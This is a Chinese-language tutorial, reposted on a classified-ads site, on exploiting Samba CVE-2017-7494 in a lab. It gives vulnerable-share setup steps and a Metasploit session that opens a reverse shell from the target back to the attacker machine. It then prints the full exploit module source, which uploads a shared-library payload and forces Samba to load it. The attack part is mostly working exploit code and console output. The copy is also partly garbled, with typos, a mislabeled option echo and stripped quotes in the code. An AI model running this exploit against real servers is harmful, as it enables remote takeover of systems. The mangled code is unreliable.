您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

Samba远程代码执行漏洞的实例详解

2025/12/2 14:33:16发布23次查看
samba是在linux和unix系统上实现smb协议的一个软件。
2017年5月24日samba发布了4.6.4版本,中间修复了一个严重的远程代码执行漏洞,漏洞编号cve-2017-7494,漏洞影响了samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
360网络安全中心 和 360信息安全部的gear team第一时间对该漏洞进行了分析,确认属于严重漏洞,可以造成远程代码执行。
漏洞简述
▼▼
漏洞编号:cve-2017-7494
危害等级:严重
影响版本:samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本
漏洞描述:2017年5月24日samba发布了4.6.4版本,修复了一个严重的远程代码执行漏洞,该漏洞影响了samba 3.5.0 之后到4.6.4/4.5.10/4.4.14中间的所有版本。
技术分析
▼▼
如官方所描述,该漏洞只需要通过一个可写入的samba用户权限就可以提权到samba所在服务器的root权限(samba默认是root用户执行的)。
一、复现环境搭建搭建debian和kali两个虚拟机: 攻击机:kali (192.168.217.162); 靶机:debian (192.168.217.150)。
二、debian安装并配置samba1、首先,下载安装samba服务器
# apt-get install samba
2、在debian下创建一个共享目录,我这里为/mnt/shared
# mkdir  /mnt/shared
3、配置samba服务器的配置文件/etc/samba/smb.conf,在最后添加:
[shared]   comment = 'share for work'   path= /mnt/shared   guest ok = yes   public = yes   writable = yes   create mask = 0777
4、设置/mnt/shared权限
# chmod –r /mnt/sspaned
5、重启samba服务
# /etc/init.d/samba restart
三、设置攻击机kali打开kali终端进入到metasploit的exploit目录下的linux文件夹,并新建一个smb文件夹,将攻击脚本放入其中:
# cd /usr/share/metasploit-framework/modules/exploits/linux # mkdir smb # wget
运行metasploit,开始进行攻击(攻击脚本被我重命名为(cve-2017-7494.rb)
# msfconsole msf > use exploit/linux/smb/cve-2017-7494 msf exploit(cve-2017-7494) > set rhost 192.168.217.150 rhost => 192.168.217.150 msf exploit(cve-2017-7494) > set payload linux/x64/shell/reverse_tcp payload => linux/x64/shell/reverse_tcp msf exploit(cve-2017-7494) > set lhost 192.168.217.162 rhost => 192.168.217.162 msf exploit(cve-2017-7494) > run [*] started reverse tcp handler on 192.168.217.162:4444 [*] 192.168.217.150:445 - using location \\192.168.217.150\shared\ for the path [*] 192.168.217.150:445 - payload is stored in //192.168.217.150/shared/ as wzyvkess.so [*] 192.168.217.150:445 - trying location /volume1/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume1/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume1/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume1/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume2/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume2/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume2/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume2/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume3/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume3/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume3/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /volume3/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /shared/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /shared/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /shared/shared/wzyvkess.so... [*] 192.168.217.150:445 - trying location /mnt/wzyvkess.so... [*] 192.168.217.150:445 - trying location /mnt/shared/wzyvkess.so... [*] sending stage (38 bytes) to 192.168.217.150 [*] command shell session 2 opened (192.168.217.162:4444 -> 192.168.217.150:56540) at 2017-05-26 01:17:48 -0400 id uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup) ifconfig eth0 link encap:ethernet hwaddr 00:0c:29:6e:9a:4a inet addr:192.168.217.150 bcast:192.168.217.255 mask:255.255.255.0 inet6 addr: fe80::20c:29ff:fe6e:9a4a/64 scope:link up broadcast running multicast mtu:1500 metric:1 rx packets:6769 errors:0 dropped:0 overruns:0 frame:0 tx packets:700 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 rx bytes:479898 (468.6 kib) tx bytes:102796 (100.3 kib) lo link encap:local loopback inet addr:127.0.0.1 mask:255.0.0.0 inet6 addr: ::1/128 scope:host up loopback running mtu:65536 metric:1 rx packets:35 errors:0 dropped:0 overruns:0 frame:0 tx packets:35 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 rx bytes:3557 (3.4 kib) tx bytes:3557 (3.4 kib) whoami nobody
poc:
  1 ##  2 # this module requires metasploit:   3 # current source:   4 ##  5   6 class metasploitmodule < msf::exploit::remote rank = excellentranking include msf::exploit::remote::dcerpc include msf::exploit::remote::smb::client def initialize(info = {}) super(update_info(info, 'name' => 'samba is_known_pipename() arbitrary module load',  7       'description'    => %q{  8           this module triggers an arbitrary shared library load vulnerability  9         in samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. this module 10         requires valid credentials, a writeable folder in an accessible share, 11         and knowledge of the server-side path of the writeable folder. in 12         some cases, anonymous access combined with common filesystem locations 13         can be used to automatically exploit this vulnerability. 14       }, 15       'author'         => 16         [ 17           'steelo <knownsteelo[at]gmail.com>',    # vulnerability discovery 18           'hdm',                                  # metasploit module 19         ], 20       'license'        => msf_license, 21       'references'     => 22         [ 23           [ 'cve', '2017-7494' ], 24           [ 'url', '' ], 25         ], 26       'payload'         => 27         { 28           'space'       => 9000, 29           'disablenops' => true 30         }, 31       'platform'        => 'linux', 32       # 33       # targets are currently limited by platforms with elf-so payload wrappers 34       # 35       'targets'         => 36         [ 37           [ 'linux arm (le)',   { 'arch' => arch_armle } ], 38           [ 'linux x86',        { 'arch' => arch_x86 } ], 39           [ 'linux x86_64',     { 'arch' => arch_x64 } ], 40         # [ 'linux mips',       { 'arch' => mips } ], 41         ], 42       'privileged'      => true, 43       'disclosuredate'  => 'mar 24 2017', 44       'defaulttarget'   => 2)) 45  46     register_options( 47       [ 48         optstring.new('smb_share_name', [false, 'the name of the smb share containing a writeable directory']), 49         optstring.new('smb_share_base', [false, 'the remote filesystem path correlating with the smb share name']), 50         optstring.new('smb_folder', [false, 'the directory to use within the writeable smb share']), 51       ]) 52   end 53  54  55   def generate_common_locations 56     candidates = [] 57     if datastore['smb_share_base'].to_s.length > 0 58       candidates << datastore['smb_share_base'] 59 end 60 61 %w{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name| 62 candidates << base_name 63 candidates << [base_name, @share] 64 candidates << [base_name, @share.downcase] 65 candidates << [base_name, @share.upcase] 66 candidates << [base_name, @share.capitalize] 67 candidates << [base_name, @share.gsub(" ", "_")] 68 end 69 70 candidates.uniq 71 end 72 73 def enumerate_directories(share) 74 begin 75 self.simple.connect("\\\\#{rhost}\\#{share}") 76 stuff = self.simple.client.find_first("\\*") 77 directories = [""] 78 stuff.each_pair do |entry,entry_attr| 79 next if %w{. ..}.include?(entry) 80 next unless entry_attr['type'] == 'd' 81 directories << entry end return directories rescue ::rex::proto::smb::exceptions::errorcode => e 82       vprint_error(enum #{share}: #{e}) 83       return nil 84  85     ensure 86       if self.simple.shares[\\\\#{rhost}\\#{share}] 87         self.simple.disconnect(\\\\#{rhost}\\#{share}) 88       end 89     end 90   end 91  92   def verify_writeable_directory(share, directory=) 93     begin 94       self.simple.connect(\\\\#{rhost}\\#{share}) 95  96       random_filename = rex::text.rand_text_alpha(5)+.txt 97       filename = directory.length == 0 ? \\#{random_filename} : \\#{directory}\\#{random_filename} 98  99       wfd = simple.open(filename, 'rwct')100       wfd << rex::text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::rex::proto::smb::exceptions::errorcode => e101       vprint_error(write #{share}#{filename}: #{e})102       return false103 104     ensure105       if self.simple.shares[\\\\#{rhost}\\#{share}]106         self.simple.disconnect(\\\\#{rhost}\\#{share})107       end108     end109   end110 111   def share_type(val)112     [ 'disk', 'printer', 'device', 'ipc', 'special', 'temporary' ][val]113   end114 115   def enumerate_shares_lanman116     shares = []117     begin118       res = self.simple.client.trans(119         \\pipe\\lanman,120         (121           [0x00].pack('v') +122           wrleh\x00   +123           b13bwz\x00  +124           [0x01, 65406].pack(vv)125         ))126     rescue ::rex::proto::smb::exceptions::errorcode => e127       vprint_error(could not enumerate shares via lanman)128       return []129     end130     if res.nil?131       vprint_error(could not enumerate shares via lanman)132       return []133     end134 135     lerror, lconv, lentries, lcount = res['payload'].to_s[136       res['payload'].v['paramoffset'],137       res['payload'].v['paramcount']138     ].unpack(v4)139 140     data = res['payload'].to_s[141       res['payload'].v['dataoffset'],142       res['payload'].v['datacount']143     ]144 145     0.upto(lentries - 1) do |i|146       sname,tmp = data[(i * 20) +  0, 14].split(\x00)147       stype     = data[(i * 20) + 14, 2].unpack('v')[0]148       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]149       scoff -= lconv if lconv != 0150       scomm,tmp = data[scoff, data.length - scoff].split(\x00)151       shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue rex::proto::smb::exceptions::errorcode => e152       vprint_error(probe: #{path}: #{e})153     end154   end155 156   def find_writeable_path(share)157     subdirs = enumerate_directories(share)158     return unless subdirs159 160     if datastore['smb_folder'].to_s.length > 0161       subdirs.unshift(datastore['smb_folder'])162     end163 164     subdirs.each do |subdir|165       next unless verify_writeable_directory(share, subdir)166       return subdir167     end168 169     nil170   end171 172   def find_writeable_share_path173     @path = nil174     share_info = enumerate_shares_lanman175     if datastore['smb_share_name'].to_s.length > 0176       share_info.unshift [datastore['smb_share_name'], 'disk', '']177     end178 179     share_info.each do |share|180       next if share.first.upcase == 'ipc$'181       found = find_writeable_path(share.first)182       next unless found183       @share = share.first184       @path  = found185       break186     end187   end188 189   def find_writeable190     find_writeable_share_path191     unless @share && @path192       print_error(no suiteable share and path were found, try setting smb_share_name and smb_folder)193       fail_with(failure::notarget, no matching target)194     end195     print_status(using location \\\\#{rhost}\\#{@share}\\#{@path} for the path)196   end197 198   def upload_payload199     begin200       self.simple.connect(\\\\#{rhost}\\#{@share})201 202       random_filename = rex::text.rand_text_alpha(8)+.so203       filename = @path.length == 0 ? \\#{random_filename} : \\#{@path}\\#{random_filename}204       wfd = simple.open(filename, 'rwct')205       wfd << msf::util::exe.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}206       )207       wfd.close208 209       @payload_name = random_filename210       return true211 212     rescue ::rex::proto::smb::exceptions::errorcode => e213       print_error(write #{@share}#{filename}: #{e})214       return false215 216     ensure217       if self.simple.shares[\\\\#{rhost}\\#{@share}]218         self.simple.disconnect(\\\\#{rhost}\\#{@share})219       end220     end221   end222 223   def find_payload224     print_status(payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name})225 226     # reconnect to ipc$227     simple.connect(\\\\#{rhost}\\ipc$)228 229     #230     # in a perfect world we would find a way make ipc$'s associated cwd231     # change to our share path, which would allow the following code:232     #233     # probe_module_path(/proc/self/cwd/#{@path}/#{@payload_name})234     #235 236     # until we find a better way, brute force based on common paths237     generate_common_locations.each do |location|238       target = [location, @path, @payload_name].join(/).gsub(/\/+/, '/')239       print_status(trying location #{target}...)240       probe_module_path(target)241     end242   end243 244   def exploit245     # setup smb246     connect247     smb_login248 249     # find a writeable share250     find_writeable251 252     # upload the shared library payload253     upload_payload254 255     # find and execute the payload from the share256     find_payload rescue rex::streamclosederror257 258     # shutdown259     disconnect260   end261 262 end
以上就是samba远程代码执行漏洞的实例详解的详细内容。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product